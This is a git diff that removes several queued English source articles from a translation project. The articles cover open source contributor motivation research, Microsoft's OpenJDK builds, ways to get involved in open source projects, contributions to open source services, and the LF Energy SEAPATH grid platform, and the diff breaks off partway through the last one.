-[#]: via: (https://opensource.com/article/21/4/motivates-open-source-contributors) -[#]: author: (Igor Steinmacher https://opensource.com/users/igorsteinmacher) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -What motivates open source software contributors? -====== -New study finds people's reasons for contributing have changed since the -early 2000s. -![Practicing empathy][1] - -The reasons people contribute to free and open source (FOSS) projects has been a topic of much interest. However, the research on this topic dates back 10 or more years, and much has changed in the world since then. This article shares seven insights from a recent research study that revisited old motivation studies and asked open source contributors what motivates them today. - -These insights can be used by open source community managers who want to grow a community, organizations that want to understand how community members behave, or anyone working with others in open source. Understanding what motivates today's contributors helps us make impactful decisions. - -### A brief history of open source motivation research - -We need to look into the origins of open source and the free software movement to understand why studying what motivates contributors is so fascinating. When the free software movement started, it was in defiance of corporations using copyright and license terms to restrict user and developer freedoms. The free software movement is a story of rebellion. It was difficult for many to understand how high-quality software emerged from a movement of people who "scratched their own itch" or "volunteered" their skills. At the core of the free software movement was a collaborative way for creating software that became interesting to companies as well. The emergence of open source was a philosophical shift to make this collaboration method available and acceptable to businesses. - -The state of the art of research into motivation in open source is a [publication from 2012][2] that summarizes research studies from more than a decade prior. Gordon Haff reviewed this topic in [_Why do we contribute to open source software?_][3] and Ruth Suehle in _[Drive and motivation: Daniel Pink webcast recap][4]_. - -Over the last 10 years, much has changed in open source. With corporations' increasing interest in open source and having paid employees working on open source projects, it was high time to revisit motivation in open source. - -### Contributors' changing motivations - -In our scientific study, _[The shifting sands of motivation: Revisiting what drives contributors in open source][5]_, we investigated why people join FOSS projects and why they continue contributing. One of our goals was to study how contributors' motivations have changed since the 2000s. A second goal was to take the research to the next level and investigate how people's motivations change as they continue contributing. The research is based on a questionnaire answered by almost 300 FOSS contributors in late 2020. - -### Seven key findings - -Some of the study's results include: - - 1. **Intrinsic motivations play a key role.** The large majority of people contribute to FOSS because of fun (91%), altruism (85%), and kinship (80%). Moreover, when analyzing differences in motivations to join and continue, the study found that ideology, own-use, or education-related programs can be an impetus to join FOSS, but individuals continue for intrinsic reasons (fun, altruism, reputation, and kinship). - - 2. **Reputation and career motivate more than payment**. Many contributors seek reputation (68%) and career (67%), while payment was referenced by less than 30% of the participants. Compared to earlier studies, reputation is now considered more important. - - 3. **Social aspects have gained considerable importance since the 2000s.** Enjoying helping others (89%) and kinship (80%) rose in the rankings compared to surveys from the early 2000s. - - 4. **Motivation changes as people gain tenure.** A clear outcome of the paper is that current contributors often have a different motivation from what led them to join. Of the 281 respondents, 155 (55%) did not report the same motivation for joining and continuing to contribute. - -The figure below shows individuals' shifts in motivation from when they joined to what leads them to keep contributing. The size of the boxes on the left represents the number of contributors with that motivation to start contributing to FOSS, and on the right, the motivation to continue contributing. The width of the connections is proportional to the number of contributors who shifted from one motivation to the other.  - -![Motivations for contributing to FOSS][6] - -(Source: [Gerosa, et al.][7]) - - 5. **Scratching one's own itch is a doorway.** Own-use ("scratch own itch") has decreased in importance since the early days. The contributors who joined FOSS for own-use-related reasons often shifted to altruism, learning, fun, and reciprocity. You can see this in the figure above. - - 6. **Experience and age explain different motivations**. Experienced developers have higher rates of reporting altruism (5.6x), pay (5.2x), and ideology (4.6x) than novices, who report career (10x), learning (5.5x), and fun (2.5x) as greater motivations to contribute. Looking at individual shifts in motivation, there was a considerable increase (120%) in altruism for experienced respondents and a slight decrease (-16%) for novices. A few young respondents joined FOSS because of career, but many of them shifted towards altruism (100% increase). - - 7. **Coders and non-coders report different motivations.** The odds of a coder reporting fun is 4x higher than non-coders, who are more likely (2.5x) to report ideology as a motivator. - - - - -### Motivating contributors based on their contributor journey - -Knowing how new and long-time contributors differ in motivation helps us discover how to support them better.  - -For example, to attract and retain new contributors, who might become the future workforce, projects could invest in promoting career, fun, kinship, and learning, which are particularly relevant for young contributors. - -Because over time altruism becomes more important to contributors, FOSS projects aiming to retain experienced contributors, who tend to be core members or maintainers, could invest in strategies and tools showing how their work benefits the community and society (altruism) and improve social interactions. - -Also in response to the increased rank of altruism, hosting platforms could offer social features to pair those needing help with those willing to help, highlight when a contributor helps someone, and make it easier to show appreciation to others (similar to stars given to projects). - -These are some of our ideas after reviewing the study's findings. We hope that sharing our insights helps others with different backgrounds and experiences come up with more ideas for using this data to motivate new and seasoned contributors. Please share your ideas in the comments below. - -The research paper's authors are Marco A. Gerosa (Northern Arizona University), Igor Wiese (Universidade Tecnologica Federal do Paraná), Bianca Trinkenreich (Northern Arizona University), Georg Link (Bitergia), Gregorio Robles (Universidad Rey Juan Carlos), Christoph Treude (University of Adelaide), Igor Steinmacher (Universidade Tecnologica Federal do Paraná), and Anita Sarma (Oregon State University). The full [study report][7] is available, as well as the [anonymized data and artifacts][8] related to the research. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/4/motivates-open-source-contributors - -作者:[Igor Steinmacher][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/igorsteinmacher -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/practicing-empathy.jpg?itok=-A7fj6NF (Practicing empathy) -[2]: https://www.semanticscholar.org/paper/Carrots-and-Rainbows%3A-Motivation-and-Social-in-Open-Krogh-Haefliger/52ec46a827ba5d6aeb38aaeb24b0780189c16856?p2df -[3]: https://opensource.com/article/19/11/why-contribute-open-source-software -[4]: https://opensource.com/business/11/6/today-drive-webcast-daniel-pink -[5]: https://arxiv.org/abs/2101.10291 -[6]: https://opensource.com/sites/default/files/pictures/sankey_motivations.png (Motivations for contributing to FOSS) -[7]: https://arxiv.org/pdf/2101.10291.pdf -[8]: https://zenodo.org/record/4453904#.YFtFRa9KhaR diff --git a/sources/talk/20210415 Microsoft Gets into the OpenJDK Business- What Does it Mean for You.md b/sources/talk/20210415 Microsoft Gets into the OpenJDK Business- What Does it Mean for You.md deleted file mode 100644 index 48d663b1fc..0000000000 --- a/sources/talk/20210415 Microsoft Gets into the OpenJDK Business- What Does it Mean for You.md +++ /dev/null @@ -1,98 +0,0 @@ -[#]: subject: (Microsoft Gets into the OpenJDK Business: What Does it Mean for You?) -[#]: via: (https://news.itsfoss.com/microsoft-openjdk/) -[#]: author: (John Paul Wohlscheid https://news.itsfoss.com/author/john/) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Microsoft Gets into the OpenJDK Business: What Does it Mean for You? -====== - -Microsoft is getting into the Java business. The question is “What does this mean for the Open-Source community?” Has Microsoft learned anything from their past interactions with Java? Let’s see. - -### Introducing Microsoft Builds of OpenJDK - -Microsoft recently announced that they would be releasing builds of OpenJDK. According to [the announcement][1], these builds will be Long-Term Support (LTS). - -The builds will include Java 11 (based on OpenJDK 11.0.10+9) for “macOS, Linux, and Windows”. They will be available for both servers and desktop systems. They are also introducing Early Access builds of Java 16 for Windows on ARM (based on OpenJDK 16+36). “The Microsoft Build of OpenJDK is a simple drop-in replacement for any other OpenJDK distribution available in the Java ecosystem.” - -All of the binaries available are considered “Preview”. The announcement mentions that Java 11 was released in 2018. So what call it a “Preview”? Because Microsoft wants feedback from customers on “things like the packaging and installation experience” before they make them production ready. - -Since they are consider Long-Term Support, Java 11 will be supported until 2024. OpenJDK 17 will be made available when Java 17 “is finalized”. Microsoft will not be offering support for Java 8. - -For those interested in the recipes Microsoft is using to bake its Java cake, they are using the “same build scripts used by the Eclipse Adoptium project and tested against the Eclipse Adoptium Quality Assurance suite (including OpenJDK project tests)”. - -The binaries are licensed as “General Public License 2.0 with Classpath Exception (GPLv2+CE)”. - -### Not Microsoft’s First Java Rodeo - -![][2] - -What’s interesting is that this is not the first time that Microsoft got involved with Java. Back in 1996, Microsoft introduced the imaginatively named [J++][3]. Initially, J++ got a lot of [good press][4]. - -However, the honeymoon didn’t last. [In 2007][5], Sun Microsystems sued Microsoft. They said that Microsoft “breached its licensing agreement by adding extensions that weren’t Java-compatible”. The suit was settled in 2001. “Microsoft was required to pay Sun $20 million, as well as to permanently stop using “Java-compatible” trademarks.” J++ supported ended in 2004. - -This was just one of [many times][6] that Microsoft enacted their [Embrace, Extent, Extinguish mantra][7]. This time it was Microsoft plans that were extinguished. - -Sometimes, its hard to equate all of the underhanded tactics that Microsoft committed under Bill Gates and his philanthropy. - -### So What Does This All Mean? - -The burning question is why is Microsoft even bothering to create these binaries in the first place? There are at least half of a dozen organizations that offer OpenJDK binaries, including IBM, Amazon, and Eclipse. - -[Mike and Chris from Coder Radio][8] has repeatedly mentioned that Microsoft is transforming itself into a company that creates tools for programmers. They don’t care what platform programmers use, just that they use Microsoft tools. (In the OpenJDK announcement, Microsoft listed the available platforms as “macOS, Linux, and Windows”.) This newest announcement is the latest step in the transformation. - -What does it mean for open source? If Microsoft leaves the OpenJDK binaries unchanged, probably not much. At most, they will make the binaries work better on Windows and with Visual Studio Code. However, the big concern would be if they start changing the code. - -My advice: Keep your eggs out of Microsoft’s basket, so you don’t get locked into their tooling. At least, until they have proven that they are not evil. After all, there are plenty of alternative already. - -![][9] - -I'm not interested - -#### _Related_ - - * [Microsoft Makes 'Extensible Storage Engine' Open-Source, Used by Windows 10 & Microsoft Exchange][10] - * ![][11] ![][12] - - - * [Is Google Locking Down Chrome to Resist the Rise of Chromium Based Browsers?][13] - * ![][11] ![Google Chrome][14] - - - * [Good News! elementary OS is Coming to Raspberry Pi 4][15] - * ![][11] ![elementary OS Raspberry Pi Build][16] - - - --------------------------------------------------------------------------------- - -via: https://news.itsfoss.com/microsoft-openjdk/ - -作者:[John Paul Wohlscheid][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://news.itsfoss.com/author/john/ -[b]: https://github.com/lujun9972 -[1]: https://devblogs.microsoft.com/java/announcing-preview-of-microsoft-build-of-openjdk/ -[2]: data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9JzM3NScgd2lkdGg9JzI5NScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB2ZXJzaW9uPScxLjEnLz4= -[3]: https://en.wikipedia.org/wiki/Visual_J%2B%2B -[4]: https://www.drdobbs.com/microsofts-visual-j-10/184415556 -[5]: https://www.informit.com/articles/article.aspx?p=101152 -[6]: https://birdhouse.org/beos/byte/30-bootloader/ -[7]: https://en.wikipedia.org/wiki/Embrace,_extend,_and_extinguish -[8]: https://coder.show/ -[9]: data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9JzI1MCcgd2lkdGg9Jzc1MCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB2ZXJzaW9uPScxLjEnLz4= -[10]: https://news.itsfoss.com/microsoft-ese-open-source/ -[11]: data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9JzIwMCcgd2lkdGg9JzM1MCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB2ZXJzaW9uPScxLjEnLz4= -[12]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/02/ese-microsoft.jpg?fit=1200%2C675&ssl=1&resize=350%2C200 -[13]: https://news.itsfoss.com/is-google-locking-down-chrome/ -[14]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/02/google-chrome.jpg?fit=1200%2C675&ssl=1&resize=350%2C200 -[15]: https://news.itsfoss.com/elementary-os-raspberry-pi-release/ -[16]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2020/12/elementaryos-raspberry-pi-build.jpg?fit=800%2C450&ssl=1&resize=350%2C200 diff --git a/sources/talk/20210419 13 ways to get involved with your favorite open source project.md b/sources/talk/20210419 13 ways to get involved with your favorite open source project.md deleted file mode 100644 index 809d8c4319..0000000000 --- a/sources/talk/20210419 13 ways to get involved with your favorite open source project.md +++ /dev/null @@ -1,116 +0,0 @@ -[#]: subject: (13 ways to get involved with your favorite open source project) -[#]: via: (https://opensource.com/article/21/4/open-source-project-level) -[#]: author: (Mike Bursell https://opensource.com/users/mikecamel) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -13 ways to get involved with your favorite open source project -====== -Apply GET/SET principles to connecting with open source projects. -![Looking at a map for career journey][1] - -Many of my [blog][2]'s readers already know lots about open source, but I'm also aware that many know little, if anything, about it. I'm a big, big proponent of open source software (and beyond, such as open hardware), and there are lots of great resources you can find to learn more about it. - -One very good starting point is the one you're now reading, Opensource.com. It's run by a bunch of brilliant people for the broader community by my current employer, Red Hat. (I should add a disclaimer that I'm not only employed by Red Hat but also a [Correspondent][3] at Opensource.com—a kind of frequent contributor/Elder Thing.) It has articles on pretty much every aspect of open source that you can imagine. - -I was thinking about APIs today (they're [in the news][4] as I'm writing this, after a US Supreme Court judgment on an argument between Google and Oracle), and it occurred to me that if I were interested in understanding how to interact with open source at the project level but didn't know much about it, then a quick guide might be useful. The same goes if I were involved in an open source project (e.g., [Enarx][5]) interested in attracting contributors (particularly techie contributors) who aren't already knowledgeable about open source. - -Given that most programmers will understand what GET and SET methods do (one reads data, the other writes data), I thought this might be a useful framework for considering engagement.[1][6] I'll start with GET, as that's how you're likely to be starting off—finding out more about the project—and then move to SET methods for getting involved with an open source project. - -This is far from an exhaustive list, but I hope that I've hit most of the key ways you're most likely to start getting involved or encouraging others to get involved. The order I've chosen reflects what I suspect is a fairly typical approach to finding out more about a project, particularly for those who aren't open source savvy already but, as they say, YMMV.[3][7] - -I've managed to stop myself from using Enarx (which I co-founded) as the sole source of examples and have tried to find a variety of projects to give you a taster. Disclaimer: their inclusion here does not mean that I am a user or contributor to the project, nor is it any guarantee of their open source credentials, code quality, up to date-ness, project maturity, or community health.[4][8] - -### GET methods - - * **Landing page:** The first encounter you have with a project will probably be its landing page. Some projects go for something basic, others apply more design, but you should be able to use this as the starting point for your adventures around the project. You'd generally hope to find links to various of the other resources listed below from the landing page. - * See [Sigstore][9]'s landing page. - * **Wiki:** In many cases, the project will have a wiki. This could be simple, or it could be complex. It may allow editing by anyone or only by a select band of contributors to the project, and its relevance as a source of truth may be impacted by how up to date it is. Still, the wiki is usually an excellent place to start. - * See the [Fedora Project][10] wiki. - * **Videos:** Some projects maintain a set of videos about their project. These may include introductions to the concepts, talking-head interviews with team members, conference sessions, demos, how-tos, and more. It's also worth looking for videos put up by contributors to the project but not necessarily officially owned by the project. - * See [Rust Language][11] videos. - * **Code of conduct:** Many projects insist that their project members follow a code of conduct to reduce harassment, reduce friction, and generally make the project a friendly, more inclusive, and more diverse place to be. - * See the [Linux kernel][12]'s CoC. - * **Binary downloads:** As projects get more mature, they may choose to provide precompiled binary downloads for users. More technically inclined users may choose to compile their own binaries from the codebase (see below), but binary downloads can be a quick way to try out a project and see whether it does what you want. - * See the binaries from [Chocolate Doom][13] (a Doom port). - * **Design documentation:** Without design documentation, it can be very difficult to get really into a project. (I've written about the [importance of architecture diagrams][14] before.) This documentation is likely to include everything from an API definition to complex use cases and threat models. - * See [Kubernetes][15]' design docs. - * **Codebase:** You've found out all you need to get going: It's time to look at the code! This may vary from a few lines to many thousands, include documentation in comments, or include test cases, but if the code is not there, then the project can't legitimately call itself open source. - * See [Rocket Rust web framework][16]'s code.[5][17] - * **Email/chat:** Most projects like to have a way for contributors to discuss matters asynchronously. The preferred medium varies among projects, but most will choose an email list, a chat server, or both. These are where to get to know other users and contributors, ask questions, celebrate successful compiles, and just hang out. - * See [Enarx chat][18]. - * **Meetups, videoconferences, calls, etc.:** Although in-person meetings are tricky for many at the moment (I'm writing as COVID-19 still reduces travel opportunities), having ways for community members and contributors to get together synchronously can be really helpful for everybody. Sometimes these are scheduled on a daily, weekly, or monthly basis; sometimes, they coincide with other, larger meetups, sometimes a project gets big enough to have its own meetups; sometimes, it's so big that there are meetups of subprojects or internal interest groups. - * See the [Linux Security Summit Europe][19]. - - - -### PUT methods - - * **Bug reports:** The first time many of us contribute anything substantive back to an open source project is when we file a bug report. Bug reports from new users can be really helpful for projects, as they not only expose bugs that may not already be known to the project, but they also give clues as to how actual users of the project are trying to use the code. If the project already publishes binary downloads (see above), you don't even need to compile the code to try it and submit a bug report. But bug reports related to compilation and build can also be extremely useful to the project. Sometimes, the mechanism for bug reporting also provides a way to ask more general questions about the project or to ask for new features. - * See the issues page for [exa][20] (a replacement for the _ls_ command). - * **Tests:** Once you've started using the project, another way to get involved (particularly once you start contributing code) can be to design and submit tests for how the project _ought_ to work. This can be a great way to unearth both your assumptions (and lack of knowledge!) about the project and the project's design assumptions (some of which may well be flawed). Tests are often part of the code repository, but not always. - * See [GNOME Shell][21]'s test repository. - * **Wiki:** A wiki can be a great way to contribute to the project, whether you're coding or not. Many projects don't have as much information available as they should, and that information may not be aimed at people coming to the project "fresh." If this is what you've done, then you're in a great position to write material that will help other "newbs" get into the project faster, as you'll know what would have helped you if it had been there. - * See the wiki for [Wine][22] (Windows Emulator for Linux). - * **Code:** Last but not least, you can write code. You may take hours, months, or years to get to this stage—or you may never reach it—but open source software is nothing without its code. If you've paid enough attention to the other steps, gotten involved in the community, understood what the project aims to do, and have the technical expertise (which you may well develop as you go!), then writing code may be the way you want to contribute. - * See [Enarx][23] (again). - - - -* * * - - 1. I did consider standard RESTful verbs—GET, PUT, POST, and DELETE—but that felt rather contrived.[2][24] - 2. And I don't like the idea of DELETE in this context! - 3. "Your Mileage May Vary," meaning, basically, that your experience may be different, and that's to be expected. - 4. That said, I do use lots of them! - 5. I included this one because I've spent _far_ too much of my time looking at this over the past few months… - - - -* * * - -_This article was originally published on [Alice, Eve, and Bob][25] and is reprinted with the author's permission._ - -Six non-code opportunities for contributing to open source software code and communities. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/4/open-source-project-level - -作者:[Mike Bursell][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/mikecamel -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/career_journey_road_gps_path_map_520.png?itok=PpL6jJgY (Looking at a map for career journey) -[2]: https://aliceevebob.com/ -[3]: https://opensource.com/correspondent-program -[4]: https://www.eff.org/deeplinks/2021/04/victory-fair-use-supreme-court-reverses-federal-circuit-oracle-v-google -[5]: https://enarx.dev/ -[6]: tmp.WF7h0s934j#1 -[7]: tmp.WF7h0s934j#3 -[8]: tmp.WF7h0s934j#4 -[9]: https://sigstore.dev/ -[10]: https://fedoraproject.org/wiki/Fedora_Project_Wiki -[11]: https://www.youtube.com/channel/UCaYhcUwRBNscFNUKTjgPFiA -[12]: https://www.kernel.org/doc/html/latest/process/code-of-conduct.html -[13]: https://www.chocolate-doom.org/wiki/index.php/Downloads -[14]: https://opensource.com/article/20/5/diagrams-documentation -[15]: https://kubernetes.io/docs/reference/ -[16]: https://github.com/SergioBenitez/Rocket/tree/v0.4 -[17]: tmp.WF7h0s934j#5 -[18]: https://chat.enarx.dev/ -[19]: https://events.linuxfoundation.org/linux-security-summit-europe/ -[20]: https://github.com/ogham/exa/issues -[21]: https://gitlab.gnome.org/GNOME/gnome-shell/tree/master/tests/interactive -[22]: https://wiki.winehq.org/Main_Page -[23]: https://github.com/enarx -[24]: tmp.WF7h0s934j#2 -[25]: https://aliceevebob.com/2021/04/06/get-set-methods-for-open-source-projects/ diff --git a/sources/talk/20210421 How to take your open source project to the next level.md b/sources/talk/20210421 How to take your open source project to the next level.md deleted file mode 100644 index 2a56c4c9f7..0000000000 --- a/sources/talk/20210421 How to take your open source project to the next level.md +++ /dev/null @@ -1,116 +0,0 @@ -[#]: subject: (How to take your open source project to the next level) -[#]: via: (https://opensource.com/article/21/4/open-source-saas) -[#]: author: (Stef Walter https://opensource.com/users/stefw) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -How to take your open source project to the next level -====== -Merely releasing your SaaS's source code is not enough to make it open -source. -![Green graph of measurements][1] - -Open sourcing the code to your software as a service (SaaS) is not sufficient to make it actually be open source. Does that sound contradictory to you? Let me explain. - -Most services that espouse "open source" do so by simply throwing the code over the wall. It's better than nothing but really misses the point that powers open source: enabling users to make a change to the software they're using. - -Some other popular services powered by Open Source software, do include the tools used to operate/deploy their service. Pause for applause. - -But that’s also insufficient to actually enable users to become contributors effectively. - -Much of a service's value comes from things other than the code. It comes from the infrastructure it runs on, the operational processes, the monitoring, the backups, the metrics, the high availability, the scalability. It comes from data, from the network effect—with other users, with other interconnected services, with integrated tools, from legal agreements, and so on. - -Any non-toy service is not reproducible. - -Launching a clone of the service to contribute effectively is a high barrier. Certain kinds of contributions clearly are possible. But contributors are essentially asked to "fork" the non-code aspects of the service to iterate on their changes against their real-world use cases. - -What's more, without true open source principles, we are missing a way to have a community develop with a center of gravity around the service itself. This leads to companies forking the service in a way that typical open source projects with a true community are resilient to. - -I believe that if we enable contributions to services _rather than just the software_, we reap the advantages of true open source. That means enabling users to make a change to a running service and experience that change themselves. - -You still with me? - -Yes, that means opening a pull request against a running service and experiencing that change before it's merged. - -This is not as insane as it sounds. - -It appears that every technique we need to enable such a capability is already in use in modern deployment and operations methodology. We just have to connect the dots. - -### Why should I care? - -I've been part of open source for over 20 years now. Although I'm just one contributor, together, we've changed something fundamental about the world. Our lives are too short, and software is too complex to have one company or one individual invent everything from scratch. So, we work together across humanity to accomplish what no individual team could. This is our legacy, and it has become commonplace. - -And yet, there's a very simple principle that drives open source: - -> Open source thrives when it converts some -> small percentage of users into contributors. - -If you interrupt that principle, you starve open source. SaaS does just that: When someone else runs your software for you, the intuitive mechanisms for you to change that software are not available. - -![How users become contributors][2] - -(Source: Stef Walter, [CC-BY-SA][3]) - -"But," you may say, "if the source code for that running service was _open_, then I could still change it." - -Sure, you could change the code in some components. Still, for any reasonably complex service, you wouldn't be able to run your changes or experience your changes against real-world workflows, much less iterate on them, until they're good enough to share with others. - -In reality, the threat here is far more fundamental: Users of services cannot readily change something in the service, not only because the processes are operated by someone else but because they have explicitly chosen not to be involved in operating the software. - -If the primary way to use Postgres was "as a service," then that (fabulous) project would be starved for contributors. This is because the number of contributors in such a project is a function of some small percentage of users deciding to try to make change. - -As this mechanism for using SaaS takes over the world, the pool of users who can contribute to open source shrinks dramatically. - -For a long time, I saw this as a fundamental threat that would starve open source. I was unable to reconcile SaaS with a healthy open source ecosystem. - -But recently, I've become convinced that if we enable an effective contribution model on a service, one that doesn't require that the users become operators of the service, then we can reconcile this threat, and open source will thrive on services instead of being starved by them. - -### You want me to do what?!? - -To enable contributions by users of a service, users that have explicitly chosen not to operate the software themselves, we have to set up a process by which they can make a change to a running service and experience that change before others do. - -For example, a user of such a hypothetical service should be able to: - - 1. Discover which component of a service to contribute to - 2. Make a nonsensical change (like adding a printf-style log statement) or change the spelling of a word - 3. Experience that change when they use the service or when it acts on their data - - - -After discussing this with others, I firmly believe we have all the techniques we need, whether they're canary deployments, load balancing, continuous delivery, infrastructure as code, and so on. It's been hard to find a single problem that an existing practice doesn't solve. - -It turns out that many experienced engineering teams have come to that same conclusion. Rapid deployment of changes to services is a powerful capability that's highly sought after. For example, [GitHub deploys changes before they're merged][4]. Whereas [Facebook rapidly deploys changes][5] to a few canary machines and scales each change up to production. Everyone has their own version of continuous delivery. It's hard to take an engineering team seriously if they haven't figured out how their team members can get a change rapidly deployed. - -Open source has all the ingredients to have a decisive advantage here. To effectively collaborate on _open source services_, with contributors working across all of humanity.  - -Let's try to craft a playbook to achieve this basic capability that drives open source software and apply it to open source services: That is, the ability to change code and interact with that change… on a service. - -_Note: [Thanks to the reviewers of this article!][6]_ - -* * * - -_This originally appeared on [stef.thewalter.net][7] and is republished with the author's permission._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/4/open-source-saas - -作者:[Stef Walter][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/stefw -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/metrics_lead-steps-measure.png?itok=DG7rFZPk (Green graph of measurements) -[2]: https://opensource.com/sites/default/files/uploads/funneling-open-source-service.png (How users become contributors) -[3]: https://creativecommons.org/licenses/by-sa/4.0/ -[4]: https://github.blog/2015-06-02-deploying-branches-to-github-com/ -[5]: https://engineering.fb.com/2017/08/31/web/rapid-release-at-massive-scale/ -[6]: https://github.com/stefwalter/blog/pull/1 -[7]: http://stef.thewalter.net/open-source-services.html diff --git a/sources/talk/20210422 Energy infrastructure platform uses open source to fight climate change.md b/sources/talk/20210422 Energy infrastructure platform uses open source to fight climate change.md deleted file mode 100644 index 222722b89d..0000000000 --- a/sources/talk/20210422 Energy infrastructure platform uses open source to fight climate change.md +++ /dev/null @@ -1,74 +0,0 @@ -[#]: subject: (Energy infrastructure platform uses open source to fight climate change) -[#]: via: (https://opensource.com/article/21/4/seapath-open-energy-infrastructure) -[#]: author: (Dr. Shuli Goodman https://opensource.com/users/shuligoodman) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Energy infrastructure platform uses open source to fight climate change -====== -SEAPATH is a Linux Foundation project that aims to modernize the power -grid through an open energy infrastructure. -![Light bulb][1] - -LF Energy is a Linux Foundation project working to accelerate the energy transition of the world's grids and transportation systems through open source. In December, our project took a major step toward achieving its mission when we and our member organizations Alliander, RTE, and Savoir-faire Linux launched [SEAPATH][2], which stands for Software Enabled Automation Platform and Artifacts. - -SEAPATH is a reference design and a real-time, open source platform for grid operators to run virtualized automation and protection applications. It is the second project for LF Energy's [Digital Substation Automation Systems][3] initiative and a vital step toward adopting renewable energy on the power grid. It will accelerate the grid's decarbonization, helping lead the planet to [carbon neutrality by 2050][4]. Power system transformation [leads all efforts for decarbonization][5]; it's the _key_ enabler for fighting climate change. - -### Breaking down silos - -Coordinating power generation, distribution, and transmission systems is a critical component of a green grid. - -Currently, the grid's infrastructure operates on a centralized, point-to-point framework, requiring a source like a gas- or coal-fired power plant to distribute electricity. Essentially, the grid was built on a foundation of silos with different systems for energy generation, transmission, and distribution. However, due to the high variability of renewable energy—power can be produced only when the sun shines or the wind blows—it's difficult to integrate clean energy sources into siloed systems. The [increasing use of electric vehicles][6] is also causing power supply and demand fluctuations. - -These challenges make it difficult for grid operators to control and optimize renewable sources of energy. Furthermore, the grid's infrastructure isn't sustainable for a clean energy future. In fact, the grid of the future will not be a grid at all. Rather, power system networks will process tsunamis of data that enable the orchestration, choreography, and coordination of energy supply and demand. The future energy framework will operate like the internet, digitally connecting thousands of power systems and processing data from their substations to generate, transmit, and distribute electricity. - -### Interoperability through open source - -In working toward clean energy integration, grid operators use digital substations, which require a growing number of computational devices to support field sensors, applications, and automation technologies. - -Typically, these components are provided by multiple proprietary solutions, making interoperability difficult due to redundant hardware requirements. This challenge largely correlates with vendor lock-in throughout the energy industry. US regulators allow utility companies to sign [50-plus year contracts][7] that secure their place in specified regions. As a result, utilities use proprietary solutions for their portion of the grid, making interoperability between substations difficult. In March 2021, we launched [FledgePOWER][8], a new project that seeks to address this problem. - -Solutions do not always share the same specifications, but they often handle similar data. Implementing new solutions is costly, creates technical debt, and is time-consuming. To manage these heterogeneous environments, operators tend to run deprecated legacy systems for decades. With the speed of change increasing, network operations have become increasingly complex, less flexible, and more expensive to operate. Being able to abstract this complexity offers system and network operators new tools for interoperability in a rapidly transforming environment. - -SEAPATH's goal is similar to the Linux Foundation's [OpenDaylight project][9], an open source initiative that catapulted software virtualization for telecommunication networks and set the industry standard for software-defined network infrastructure. SEAPATH aims to apply the same technology OpenDaylight uses to consolidate multi-provider systems on the grid into one platform. This aims to enable operators to digitally implement electricity distribution and transmission through data from their substations. This consolidation also supports time- and cost-efficiency, scalability, flexibility, innovation, and novel technology implementations and merging utility practices. - -Through cross-industry collaboration with SEAPATH, the energy sector can build customer- and vendor-agnostic virtualization technologies required by a modern, climate-conscious grid. The more flexible and scalable the grid can be for greener energy, the faster we can reach decarbonization. - -### How to get involved with SEAPATH - -If you are interested in learning more about SEAPATH or joining the project, here's how you can get involved: - - * **Learn about SEAPATH:** Check out LF Energy's [SEAPATH project page][2] to learn more about the initiative. We have a technical steering committee (TSC), a mailing list, open meetings, a wiki feed, and a roadmap that can help answer any questions you may have about the project. - * **Use SEAPATH:** To access SEAPATH, you must be a member of LF Energy. Organizations can join by [becoming a member][10]. LF Energy is funded through membership dues and contributions of engineering resources. Once registered, you can access SEAPATH on its [GitHub page][11]. If you can't join as an LF Energy member, we still encourage you to contribute by participating in technical projects and discussion lists. - - - -Time is running out for the energy industry to come together and improve the grid for our future. By joining as partners, the entire energy industry—and the entire world—can benefit from a grid powered by green energy for a brighter future. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/4/seapath-open-energy-infrastructure - -作者:[Dr. Shuli Goodman][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 